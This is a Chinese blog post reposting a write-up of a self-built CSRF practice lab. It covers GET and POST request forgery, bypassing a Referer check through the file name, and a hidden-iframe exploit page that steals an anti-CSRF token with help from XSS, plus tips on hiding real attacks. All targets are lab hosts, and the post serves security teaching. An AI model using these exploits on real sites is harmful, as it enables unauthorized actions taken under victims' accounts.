CSRF漏洞实战靶场笔记

最新推荐文章于 2024-05-11 10:55:40 发布

weixin_30367543

最新推荐文章于 2024-05-11 10:55:40 发布

阅读量952

点赞数 1

文章标签： php javascript 后端 ViewUI

原文链接：http://www.cnblogs.com/-qing-/p/11019335.html

版权

记录下自己写的CSRF漏洞靶场的write up，包括了大部分的CSRF实战场景，做个笔记。

0x01 无防护GET类型csrf(伪造添加成员请求)

这一关没有任何csrf访问措施

首先我们登录test用户

发现有个添加成员功能用test账号添加发现只有admin才可以添加

现在用另一个浏览器，这里用的搜狗浏览器来登录admin账号

我们把test用户添加用户的url地址，这里是添加一个用户名为111和密码为111的用户请求的地址，我们在登录了admin账号的搜狗浏览器新建窗口打开

http://www.csrf_demo.com/csrf_1.php?username=111&password=1111&submit=%E6%B7%BB%E5%8A%A0

发现添加成功完成了一次最简单的csrf攻击，伪造了admin添加成员的请求

提一下，真实攻击中你有很多手段把csrf进行隐蔽，例如短网址变化、恶意网站加载csrf请求、配合xss进行攻击，形式多种多样。

0x02 无防护POST类型csrf(伪造添加成员请求)

这次添加成员的请求是post ，我们就需要构造表单

可以使用CSRFTester 或者使用burp自带的csrf POC

下面以burp自带的csrf POC 为例子，登录test用户抓取到添加成员的数据包

构造csrf表单

修改好后生成对应的html，

然后用admin账号打开这个表单，点击按钮

可以发现也构造出了添加222用户的请求。

这里是个简单的csrf poc。实战中你可以把表单构造成自动提交，或者提交后转到某个具有迷惑性的地址来隐蔽你的csrf攻击，这里就不多叙述了。

0x03 绕过CSRF防护之Referer检查(伪造购买商品请求)

这里我们又需要使用test构造admin账号的购买请求。这一关有的是referer的验证，如下，还是通过第一关的方法构造url会出现提示。

原因是代码中验证了http包的来源地址。

if(@!eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] )){
    
    js_alert("疑似csrf攻击！购买失败！",'#');
    exit;
}
    $username = $_SESSION['username'];
    if(isset($_POST['checkbox'])){
    $checkbox = $_POST['checkbox'];
    echo "<font size=5>".$username."用户您好！您购买的订单如下:</font><br><br>";
    echo "<font size=4>".implode(',',$checkbox)."</font>";
    }else{
        js_alert("请选择您需要购买的商品！",'#');
    }

}

可以看到如果referer字段的值如果不包括和host字段的值会购买失败，那么我们可以怎么伪造绕过这个referer限制呢

我们可以把文件名设置为host的内容，这样就绕过检测了，例如这里我们的host值是

那我们的csrf poc的文件名可以设置为www.csrf_demo.com.html

ok,绕过了这个限制还需要解决一个问题，如果是直接发html给管理，他在本地打开文件是没有Referer这个http头的，那我们就需要把这个html上传到网站上。这里我就上传在靶场，实战中肯定是一个外网可以访问的攻击网站，这个不影响实验。

这样构造url发送给管理，

http://www.csrf_demo.com/www.csrf_demo.com.html

csrf攻击成功。

0x04 配合XSS漏洞获取token后进行csrf攻击(伪造添加成员请求)

这关用了防csrf的token。具体含义自己百度，token简单的来说就是防止表单重复提交和csrf攻击，每次页面提交都会带上token值，token值每次页面提交的都不同，是唯一的令牌，服务器后端会验证这个token来验证你的请求是否是csrf伪造的。

那我们在实战中怎么绕过这个token呢，csrf单独是无法获得token的，所以必须配合xss来完成。

exp:

<iframe src="http://www.csrf_demo.com/csrf_4.php?url=csrf_4.php" id="hack" border="0" style="display:none;">
</iframe>
<body οnlοad="attack()">
  <form method="GET" id="transfer" name="transfer" action="http://www.csrf_demo.com/csrf_4.php?url=csrf_4.php">

   <input type="hidden" name="username" value="222">
    <input type="hidden" name="password" value="222">
   <input type="hidden" name="user_token" value="">
<input type="submit" name="submit" value="submit">
   </form>

</body> 

<script type="text/javascript">
function attack(){
   document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;

  
  }
</script>

攻击思路是当受害者点击进入这个页面，脚本会通过一个看不见框架偷偷访问修改密码的页面，获取页面中的token，点击按钮后并向服务器发送改密请求，以完成CSRF攻击。

你可以把exp放在网站的目录下。然后发送给admin(这里我们就自己登录admin账号，点击csrf的连接)

使用admin账号访问这个文件:http://www.csrf_demo.com/exp.html

点击按钮后发现伪造请求成功。

也可以保存为html，以文件的形式发过去，

也是可以成功的

转载于:https://www.cnblogs.com/-qing-/p/11019335.html

weixin_30367543

关注

1
点赞
踩
4

收藏

觉得还不错? 一键收藏
0
评论
CSRF漏洞实战靶场笔记

记录下自己写的CSRF漏洞靶场的writeup，包括了大部分的CSRF实战场景，做个笔记。0x01无防护GET类型csrf(伪造添加成员请求)这一关没有任何csrf访问措施首先我们登录test用户发现有个添加成员功能用test账号添加发现只有admin才可以添加现在用另一个浏览器，这里用的搜狗浏览器来登录admin账号...
复制链接

扫一扫